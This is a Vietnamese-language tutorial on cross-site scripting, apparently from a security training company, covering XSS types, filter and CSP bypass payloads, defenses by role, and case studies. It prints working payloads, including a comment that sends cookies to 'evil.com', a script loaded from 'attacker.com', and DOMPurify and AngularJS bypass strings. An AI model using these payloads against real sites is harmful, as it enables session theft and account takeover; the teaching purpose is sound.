Học tập

Tài nguyên

XSS là gì? Kỹ thuật khai thác và cách ngăn chặn

Technical Writer

Cross-Site Scripting (XSS) là một lỗ hổng bảo mật luôn nằm trong top các mối đe dọa hàng đầu. Dù các framework và công cụ ngày càng tiên tiến, XSS vẫn tồn tại dai dẳng và tiếp tục tiến hóa với những kỹ thuật khai thác ngày càng tinh vi. Hiểu rõ XSS không chỉ giúp bạn phát hiện lỗ hổng mà còn xây dựng hàng rào phòng thủ vững chắc cho ứng dụng web.

Bài viết này sẽ giúp bạn:

Hiểu bản chất XSS và phân biệt các loại XSS phổ biến
Khám phá các kỹ thuật khai thác từ cơ bản đến nâng cao
Học cách vượt qua các biện pháp bảo vệ như CSP, WAF
Nắm được các phương pháp phòng chống XSS hiệu quả cho từng vai trò
Áp dụng được best practices vào quy trình phát triển ứng dụng

Dù bạn là pentester, developer hay security engineer, bài viết này sẽ cung cấp insights giá trị để bảo vệ ứng dụng web trước các mối đe dọa XSS ngày càng tinh vi.

XSS là gì và tại sao nó nguy hiểm?

Cross-Site Scripting (XSS) là lỗ hổng bảo mật cho phép kẻ tấn công chèn và thực thi mã JavaScript độc hại trên trình duyệt của người dùng. Khác với các lỗ hổng khác tấn công vào máy chủ, XSS nhắm vào người dùng cuối - biến trình duyệt của họ thành "vũ khí" chống lại chính họ.

Khi một website không xử lý đúng dữ liệu đầu vào, kẻ tấn công có thể chèn mã script vào trang web. Khi người dùng truy cập trang đó, trình duyệt sẽ thực thi mã độc như thể nó là một phần hợp lệ của trang.

Tại sao XSS lại nguy hiểm?

XSS cho phép kẻ tấn công:

Đánh cắp phiên làm việc (session): Lấy cắp cookie để chiếm đoạt tài khoản người dùng
Thực hiện các hành động giả mạo: Thay mặt người dùng gửi form, thực hiện giao dịch
Thu thập thông tin nhạy cảm: Keylogging, đánh cắp dữ liệu nhập vào form
Thay đổi nội dung trang: Thực hiện phishing bằng cách chèn form giả mạo
Tạo cửa hậu (backdoor): Thiết lập kết nối liên tục đến trình duyệt nạn nhân

Theo báo cáo từ các công ty bảo mật, lỗ hổng XSS luôn nằm trong top 10 các lỗ hổng phổ biến nhất và gây thiệt hại lớn cho doanh nghiệp mỗi năm. Đây không phải là vấn đề của riêng các ứng dụng nhỏ - ngay cả những tên tuổi lớn như Facebook, Google đôi khi cũng bị ảnh hưởng.

Các loại XSS và cách nhận diện

XSS thường được phân thành ba loại chính. Mỗi loại có đặc trưng riêng và đòi hỏi phương pháp khai thác và phòng chống khác nhau.

1. Reflected XSS

Cách hoạt động: Payload XSS được gửi đến server (thường qua URL) và phản chiếu ngay lập tức trong phản hồi. Khi người dùng nhấp vào link độc hại, trình duyệt sẽ thực thi mã độc.

Ví dụ: Hãy tưởng tượng một trang tìm kiếm hiển thị lại từ khóa người dùng nhập vào:

https://example.com/search?q=<script>alert('XSS')</script>

Nếu website không escape đầu vào, thẻ <script> sẽ được thực thi và hiển thị hộp thoại cảnh báo.

Dấu hiệu nhận biết:

Payload xuất hiện trong tham số URL/form data
Mã độc được thực thi ngay lập tức sau khi tải trang
Hiệu ứng không tồn tại khi tải lại trang mà không có payload

2. Stored XSS (Persistent XSS)

Cách hoạt động: Payload được lưu trữ vĩnh viễn trên máy chủ (thường trong cơ sở dữ liệu) và được trình duyệt thực thi mỗi khi người dùng truy cập trang chứa payload.

Ví dụ: Kẻ tấn công đăng một bình luận chứa mã độc trên một blog:

Bài viết hay!<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

Khi người dùng khác xem bài đăng, script sẽ chạy và gửi cookie của họ đến máy chủ kẻ tấn công.

Dấu hiệu nhận biết:

Mã độc được thực thi cho mọi người dùng truy cập trang
Hiệu ứng tồn tại lâu dài, ngay cả khi tải lại trang
Payload thường được đưa vào từ các form dữ liệu lưu trữ: bình luận, hồ sơ, tin nhắn, v.v.

3. DOM-based XSS

Cách hoạt động: Xảy ra khi JavaScript trang web thao tác không an toàn với DOM, chèn dữ liệu từ người dùng trực tiếp vào DOM mà không sanitize đúng cách.

Ví dụ: Một trang web sử dụng JavaScript để lấy giá trị hash từ URL và chèn vào trang:

// Địa chỉ URL: https://example.com/#<img src=x onerror=alert(1)> document.getElementById("content").innerHTML = location.hash.substring(1);

Dấu hiệu nhận biết:

Mã độc không được gửi đến máy chủ
Lỗ hổng nằm trong mã JavaScript phía client
Payload thường xuất hiện trong phần fragment URL (#) hoặc trong localStorage/sessionStorage
Khó phát hiện hơn bằng scanner truyền thống vì logic nằm ở client-side

Hiểu rõ sự khác biệt giữa các loại XSS là bước đầu tiên để xác định và phòng chống hiệu quả. Mỗi loại đòi hỏi phương pháp tiếp cận khác nhau, nhưng tất cả đều dựa trên một nguyên tắc cơ bản: kiểm soát dữ liệu người dùng trước khi đưa vào trang web.

Kỹ thuật khai thác XSS cơ bản

Khi bắt đầu tìm hiểu về XSS, việc nắm vững các kỹ thuật cơ bản là bước đi đầu tiên. Dưới đây là những vector tấn công phổ biến mà mọi pentester cần biết:

1. Khai thác thông qua thẻ script

Đây là phương pháp đơn giản nhất, chèn mã JavaScript trực tiếp vào trang web:

<script>alert('XSS')</script> <script src="https://attacker.com/malicious.js"></script>

2. Khai thác thông qua thuộc tính sự kiện

Nếu thẻ <script> bị chặn, kẻ tấn công có thể sử dụng các thuộc tính sự kiện HTML:

<img src="x" onerror="alert('XSS')"> <body onload="alert('XSS')"> <a onmouseover="alert('XSS')">Hover me</a>

Các thuộc tính phổ biến: onload, onerror, onclick, onmouseover...

3. Khai thác thông qua URL và iframe

JavaScript có thể được thực thi thông qua URL với giao thức javascript::

<a href="javascript:alert('XSS')">Click me</a> <iframe src="javascript:alert('XSS')"></iframe>

4. Khai thác thông qua CSS

CSS cũng có thể được sử dụng để thực thi mã JavaScript:

<div style="background:url('javascript:alert(1)')"> <style>@import 'javascript:alert("XSS")';</style>

5. Các payloads cơ bản hay dùng

Đây là một số payload XSS cơ bản thường được sử dụng để kiểm tra lỗ hổng:

"><script>alert(document.cookie)</script> <img src=x onerror=alert('XSS')> <svg onload=alert(1)> <iframe src="javascript:alert(`XSS`)"></iframe>

Khi thực hiện kiểm thử, bạn nên bắt đầu với các payload đơn giản trước khi chuyển sang các kỹ thuật phức tạp hơn. Điều quan trọng là hiểu ngữ cảnh nơi dữ liệu được chèn vào (trong HTML, trong thuộc tính, trong JavaScript, v.v.) để điều chỉnh payload phù hợp.

Kỹ thuật bypass XSS nâng cao

Khi các biện pháp bảo vệ cơ bản được triển khai, kẻ tấn công phải sử dụng các kỹ thuật tinh vi hơn để vượt qua chúng. Dưới đây là những kỹ thuật bypass XSS nâng cao mà pentester chuyên nghiệp thường sử dụng.

1. Payload XSS sáng tạo và hiếm gặp

Nhiều bộ lọc chỉ tìm kiếm các mẫu XSS phổ biến như <script> hoặc alert(). Khai thác thành công đòi hỏi sự sáng tạo:

 <Img/Src/OnError=(alert)(1)>  ¼script¾alert(¢XSS¢)¼/script¾  "><s"+cript>alert(document.cookie)</script>

Việc khai thác các thẻ HTML5 ít được biết đến như <svg>, <math>, <iframe srcdoc> cũng rất hiệu quả vì chúng thường bị bỏ qua trong các blacklist.

2. Kỹ thuật obfuscation và làm rối mã

Obfuscation (làm rối mã) là vũ khí mạnh mẽ để vượt qua bộ lọc XSS:

 <a href="javascript:alert(1)">Click me</a>  <a href="  javascript:alert('XSS')">  <body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">

Trình duyệt sẽ tự động giải mã các chuỗi này, trong khi nhiều bộ lọc không thực hiện giải mã trước khi kiểm tra, tạo ra kẽ hở để khai thác.

3. Kết hợp đa ngữ cảnh HTML/JS/CSS

Một kỹ thuật tinh vi là khai thác sự chuyển đổi ngữ cảnh giữa HTML, JavaScript và CSS. Mutation XSS (mXSS) là ví dụ điển hình, nơi trình duyệt tự tái cấu trúc HTML không hoàn chỉnh tạo ra cơ hội tấn công:

<form><math><mtext></form><form><mglyph><style></math> <img src onerror=alert(1)>

Chuỗi này trông vô hại nhưng khi trình duyệt phân tích, nó sẽ tạo ra thẻ <img> thực thi mã độc.

4. Bypass WAF và bộ lọc phổ biến

Web Application Firewall (WAF) thường dựa vào các blacklist hoặc regex để chặn XSS. Đây là một số kỹ thuật bypass:

 <img src=x onerror/=/alert(1)>  <svg><a xlink:href="javascript:alert(1)">  <a on	error=alert(1)>test</a>

5. Vượt qua DOMPurify và sanitizers

Ngay cả thư viện sanitizer mạnh như DOMPurify cũng từng bị bypass. Ví dụ năm 2020, một lỗ hổng cho phép bypass DOMPurify bằng cách sử dụng các thẻ MathML đặc biệt:

<math><mtext><table><mglyph><style><![CDATA[</style><img title="</table></mglyph><img src=x onerror=alert(1)>">

Kỹ thuật này khai thác cách trình duyệt xử lý các không gian tên HTML khác nhau, tạo ra XSS dù đã qua bộ lọc.

6. Khai thác AngularJS và framework JavaScript

Framework JavaScript cũng có thể bị khai thác. AngularJS v1.x từng bị tấn công qua biểu thức:

{{constructor.constructor('alert(1)')()}}

Chuỗi này không chứa HTML đáng ngờ nhưng lại thực thi mã khi được xử lý bởi Angular.

Các kỹ thuật bypass nâng cao đòi hỏi pentester phải hiểu sâu về cách hoạt động của trình duyệt, parser HTML và JavaScript. Đối với security engineer, việc hiểu các kỹ thuật này là nền tảng để xây dựng phòng thủ hiệu quả.

Vượt qua Content Security Policy (CSP)

Content Security Policy (CSP) là một lớp bảo vệ mạnh mẽ nhằm giảm thiểu tác động của XSS. Tuy nhiên, CSP cũng có thể bị vượt qua nếu cấu hình không đúng cách.

Hiểu cơ bản về CSP

CSP là một HTTP header cho phép website chỉ định chính xác các nguồn được phép chạy script, load hình ảnh, hoặc các tài nguyên khác. Ví dụ:

Content-Security-Policy: script-src 'self' https://apis.google.com

Header trên chỉ cho phép script từ chính domain và Google APIs.

Các kỹ thuật bypass CSP

1. Khai thác JSONP Endpoints

Nếu CSP whitelist một domain có endpoint JSONP, kẻ tấn công có thể lợi dụng:

<script src="https://trusted.example.com/data?callback=alert(document.domain)//"></script>

Nếu domain trusted.example.com được cho phép trong CSP, script trên sẽ thực thi mà không bị chặn.

2. Lợi dụng cấu hình lỏng lẻo

CSP với cấu hình sau có lỗ hổng:

Content-Security-Policy: script-src 'self' 'unsafe-inline' data:;

Kẻ tấn công có thể chèn:

<script src="data:text/javascript,alert(1)"></script>

Tương tự với blob: hoặc filesystem: nếu chúng được cho phép.

3. Khác biệt CSP trên các trình duyệt

Mỗi trình duyệt hỗ trợ CSP khác nhau:

Chrome/Edge: Hỗ trợ đầy đủ CSP Level 3
Firefox: Tương tự Chrome
Safari: Trước đây tụt hậu, nhưng đã cải thiện từ 2021. Tuy nhiên vẫn có các lỗi riêng

Để tối ưu, CSP nên được cấu hình phù hợp với mọi trình duyệt.

Cấu hình CSP chặt chẽ

Google khuyến nghị:

Sử dụng nonce hoặc hash thay vì allowlist domain
Thêm 'unsafe-inline' chỉ cho tương thích ngược (trình duyệt mới sẽ bỏ qua khi có nonce)
Kích hoạt strict-dynamic để chỉ cho phép script được load động từ script có nonce
Thêm các directive như object-src 'none', base-uri 'none'
Sử dụng header thay vì meta tag
Bật báo cáo CSP để nhận cảnh báo vi phạm

Ví dụ CSP mạnh:

Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic'; object-src 'none'; base-uri 'none'; report-uri /csp-report;

Dù mạnh mẽ, CSP không thay thế cho việc xử lý input và output đúng cách. Nó nên được sử dụng như một lớp phòng thủ sâu, kết hợp với các biện pháp bảo vệ khác.

Phòng chống XSS hiệu quả: Hướng dẫn theo vai trò

Phòng chống XSS đòi hỏi sự phối hợp từ mọi vai trò trong quy trình phát triển. Dưới đây là những best practices dành cho từng vai trò.

Dành cho Front-end Developer

Hạn chế sử dụng trực tiếp HTML tùy ý:
- Tránh sử dụng innerHTML và các API chấp nhận HTML
- Ưu tiên textContent hoặc innerText khi hiển thị dữ liệu
- Dùng API DOM như createElement() thay vì nối chuỗi HTML
Tận dụng các framework hiện đại:
- React, Vue, Angular mặc định escape HTML trước khi render
- Không tắt cơ chế bảo vệ này (v-html, dangerouslySetInnerHTML, etc.) trừ khi thực sự cần thiết
- Sử dụng template literals ES6 để tránh nối chuỗi không an toàn
Xử lý URL và dữ liệu cẩn thận:
- Kiểm tra URL trước khi sử dụng (đặc biệt là javascript: URLs)
- Không gán trực tiếp dữ liệu người dùng vào thuộc tính sự kiện
- Sử dụng URLSearchParams để xử lý tham số URL
Áp dụng sanitizer phía client khi cần:
- Dùng DOMPurify khi phải hiển thị HTML do người dùng tạo
- Cấu hình whitelist chặt chẽ (chỉ cho phép thẻ, thuộc tính cần thiết)
- Luôn cập nhật thư viện sanitizer lên phiên bản mới nhất

Dành cho Back-end Developer

Escape output theo ngữ cảnh:
- Trong HTML: escape < > & " '
- Trong thuộc tính: đóng ngoặc kép đúng cách, escape "
- Trong JavaScript: escape ký tự đặc biệt hoặc tốt nhất là sử dụng JSON
- Trong URL: dùng encodeURIComponent()
Sử dụng thư viện có sẵn thay vì tự code:
- PHP: htmlspecialchars() với flag ENT_QUOTES
- Java: HtmlUtils.htmlEscape()
- Node.js: he package
Áp dụng CSP và security headers:
- Cấu hình và gửi CSP header trong mọi response
- Thêm các header bảo mật khác: X-XSS-Protection, X-Content-Type-Options
- Thiết lập cookie với flag HttpOnly để tránh đánh cắp qua XSS
Xử lý dữ liệu đầu vào:
- Whitelist hợp lệ hóa hơn là blacklist
- Chuẩn hóa dữ liệu trước khi validate
- Lưu trữ dữ liệu được sanitize khi cần hiển thị HTML

Dành cho Security Engineer

Triển khai nhiều lớp phòng thủ:
- Áp dụng nguyên tắc "Defense in Depth"
- Kết hợp input validation, output encoding, CSP
- Đảm bảo các lớp phòng thủ bổ sung cho nhau
Cấu hình CSP tối ưu:
- Sử dụng nonce hoặc hash thay vì domain whitelist
- Bật strict-dynamic khi có thể
- Thiết lập báo cáo vi phạm CSP
- Kiểm thử CSP trên nhiều trình duyệt
Tự động hóa kiểm tra bảo mật:
- Tích hợp SAST/DAST vào quy trình CI/CD
- Tự động quét mã nguồn phát hiện XSS
- Thiết lập WAF thông minh (nhưng không phụ thuộc hoàn toàn)
Đào tạo và nâng cao nhận thức:
- Tổ chức các buổi đào tạo về secure coding
- Xây dựng tài liệu hướng dẫn phòng chống XSS
- Chia sẻ các case study về tấn công XSS

Dành cho Tester và Pentester

Kiểm tra XSS toàn diện:
- Thử nghiệm trên mọi đầu vào: form, URL, header, JSON...
- Kiểm tra các ngữ cảnh: HTML, attributes, JavaScript, CSS...
- Sử dụng các payload đa dạng từ cheat sheet
Kiểm tra hiệu quả của các biện pháp bảo vệ:
- Thử vượt qua WAF, CSP với các kỹ thuật nâng cao
- Đánh giá hiệu quả của input validation và output encoding
- Kiểm tra cách xử lý biên mạch (edge case)
Kết hợp thủ công và tự động:
- Dùng scanner (Burp Suite, OWASP ZAP) để phát hiện sơ bộ
- Phân tích thủ công để tìm lỗ hổng phức tạp
- Tùy chỉnh payload dựa trên ngữ cảnh cụ thể
Báo cáo chi tiết và đề xuất khắc phục:
- Mô tả rõ lỗ hổng, ngữ cảnh và cách khai thác
- Đề xuất giải pháp phù hợp cho từng lỗ hổng
- Cung cấp PoC (Proof-of-Concept) an toàn

Thực hiện đồng bộ các biện pháp phòng chống từ tất cả các vai trò, kết hợp với hiểu biết về kỹ thuật tấn công sẽ tạo nên một hệ thống phòng thủ mạnh mẽ trước XSS.

XSS trong thực tế: Bài học từ các case study

Để hiểu sâu hơn về XSS, hãy xem xét một số trường hợp tấn công nổi bật và bài học từ chúng.

Case Study 1: Twitterverse và XSS worm

Năm 2009, Twitter (X) đối mặt với một XSS worm có khả năng tự lan truyền. Lỗ hổng nằm ở tính năng định dạng URL tự động: khi người dùng đăng tweet có chứa URL, Twitter tự động biến nó thành hyperlink. Tuy nhiên, Twitter không validate URL đúng cách, cho phép kẻ tấn công sử dụng javascript: URI để thực thi mã.

Khi người dùng di chuột qua link độc hại, mã JavaScript tự động gửi tweet chứa cùng payload, tạo ra hiệu ứng domino. Hàng trăm nghìn tài khoản bị ảnh hưởng chỉ trong vài giờ.

Bài học: Luôn validate URL cẩn thận, chỉ cho phép các scheme an toàn (http/https), và cân nhắc việc sử dụng CSP để giới hạn nguồn script được phép chạy.

Case Study 2: XSS thông qua các filter mạnh

Một trang tin tức lớn triển khai sanitizer để lọc input của người dùng trong phần bình luận. Họ dùng blacklist để lọc các thẻ nguy hiểm, bao gồm <script>, <img>, và các thuộc tính như onerror, onload.

Tuy nhiên, một pentester đã phát hiện ra có thể bypass bằng cách sử dụng SVG và các thuộc tính sự kiện ít phổ biến:

<svg><animate onbegin=alert(1) attributeName=x></animate></svg>

Thuộc tính onbegin không nằm trong blacklist nhưng vẫn có thể thực thi JavaScript.

Bài học: Không dựa vào blacklist, luôn ưu tiên whitelist khi lọc HTML. Tốt nhất là sử dụng thư viện sanitizer được kiểm chứng và cập nhật thường xuyên.

Case Study 3: DOM-based XSS và sự nguy hiểm của việc dùng các API không an toàn

Một ứng dụng Single-Page Application (SPA) sử dụng JavaScript để xử lý routing client-side. Ứng dụng lấy giá trị từ hash URL và chèn trực tiếp vào DOM:

// URL: https://example.com/#user=<img src=x onerror=alert(document.cookie)> document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.substring(6);

Vì mã này chạy hoàn toàn ở client mà không qua server, các biện pháp bảo vệ phía server như WAF hoàn toàn vô dụng.

Bài học: Tránh sử dụng innerHTML và các API tương tự khi xử lý dữ liệu từ người dùng. Sử dụng textContent hoặc phương pháp DOM an toàn. Triển khai CSP để giảm thiểu tác động nếu lỗ hổng vẫn xảy ra.

Case Study 4: Bypass CSP thông qua JSONP

Một ứng dụng ngân hàng triển khai CSP mạnh mẽ để ngăn chặn XSS:

Content-Security-Policy: script-src 'self' https://analytics.example.com

Tuy nhiên, endpoint JSONP của analytics.example.com cho phép trả về bất kỳ JavaScript nào qua tham số callback:

https://analytics.example.com/data?callback=alert(document.cookie)

Kẻ tấn công sử dụng điều này để bypass CSP mặc dù không thể trực tiếp chèn script.

Bài học: Khi triển khai CSP, hãy kiểm tra cẩn thận mọi domain được whitelist. Ưu tiên sử dụng nonce hoặc hash kết hợp với strict-dynamic thay vì whitelist domain. Đối với JSONP endpoints, luôn validate tham số callback nghiêm ngặt.

Xu hướng XSS hiện đại

XSS đang phát triển theo các hướng:

Client-side XSS: Với sự phổ biến của JavaScript frameworks, DOM-based XSS ngày càng phổ biến
Tấn công chuỗi cung ứng: XSS thông qua các thư viện JavaScript bên thứ ba bị nhiễm mã độc
XSS trong các ứng dụng hiện đại: Các ứng dụng PWA, WebGL, WebAssembly mở ra vectors tấn công mới
Kết hợp với các lỗ hổng khác: XSS + CSRF hoặc XSS + SSRF tạo ra tấn công chuỗi phức tạp

Để đối phó, các biện pháp phòng chống cũng ngày càng phát triển. Các framework hiện đại như React đã mặc định chống XSS, và các trình duyệt hiện nay hỗ trợ các tính năng bảo mật mạnh mẽ như CSP Level 3 và Trusted Types API.

Học từ những case study thực tế này giúp chúng ta hiểu sâu hơn về XSS và xây dựng các biện pháp phòng chống hiệu quả hơn.

Kết luận

XSS vẫn là một trong những lỗ hổng bảo mật web nguy hiểm và phổ biến nhất. Qua bài viết này, chúng ta đã khám phá:

Bản chất của XSS và các loại tấn công khác nhau
Kỹ thuật khai thác từ cơ bản đến nâng cao
Phương pháp bypass các biện pháp bảo vệ như WAF, sanitizers và CSP
Các best practices theo vai trò để phòng chống XSS hiệu quả
Bài học từ các case study thực tế

Để phòng chống XSS thành công, cần kết hợp nhiều lớp phòng thủ - từ input validation, output encoding đến CSP. Không có giải pháp đơn lẻ nào đủ mạnh, nhưng sự kết hợp đồng bộ và hiểu biết sâu sắc về cách hoạt động của XSS sẽ tạo nên phòng thủ vững chắc.

Tại CyberJutsu, chúng tôi đào tạo các kỹ năng này qua các khóa học thực chiến. Khóa học Web Pentest 2025 của chúng tôi đi sâu vào việc phát hiện và khai thác XSS cùng các lỗ hổng web khác, giúp học viên "bẻ để hiểu" và xây dựng tư duy của một pentester thực thụ.

XSS là một cuộc chiến liên tục - kỹ thuật tấn công và công nghệ phòng thủ luôn phát triển. Để theo kịp, bạn cần không ngừng cập nhật kiến thức và rèn luyện kỹ năng. Hãy nhớ: "Học khai thác không phải để tấn công, mà để hiểu sâu và bảo vệ tốt hơn!"

Tài liệu tham khảo

OWASP - Cross-Site Scripting (XSS)
PortSwigger - Bypassing DOMPurify with mutation XSS
Google - Ensure CSP is effective against XSS attacks
Acunetix - XSS Filter Evasion: How Attackers Bypass XSS Filters
CyberJutsu Academy - Khóa học Web Pentest 2025
Imperva - Lessons Learned From Exposing Unusual XSS Vulnerabilities
Securitum - Mutation XSS via namespace confusion
Hurricane Labs - Bypassing CSP with JSONP Endpoints

Bạn muốn trở thành một chuyên gia bảo mật web? Đến với CyberJutsu Academy, nơi chúng tôi biến phức tạp thành đơn giản và đào tạo kỹ năng thực chiến cho ngành An Toàn Thông Tin. Đăng ký học thử miễn phí ngay hôm nay để trải nghiệm phương pháp "Learning by Breaking" độc đáo của chúng tôi.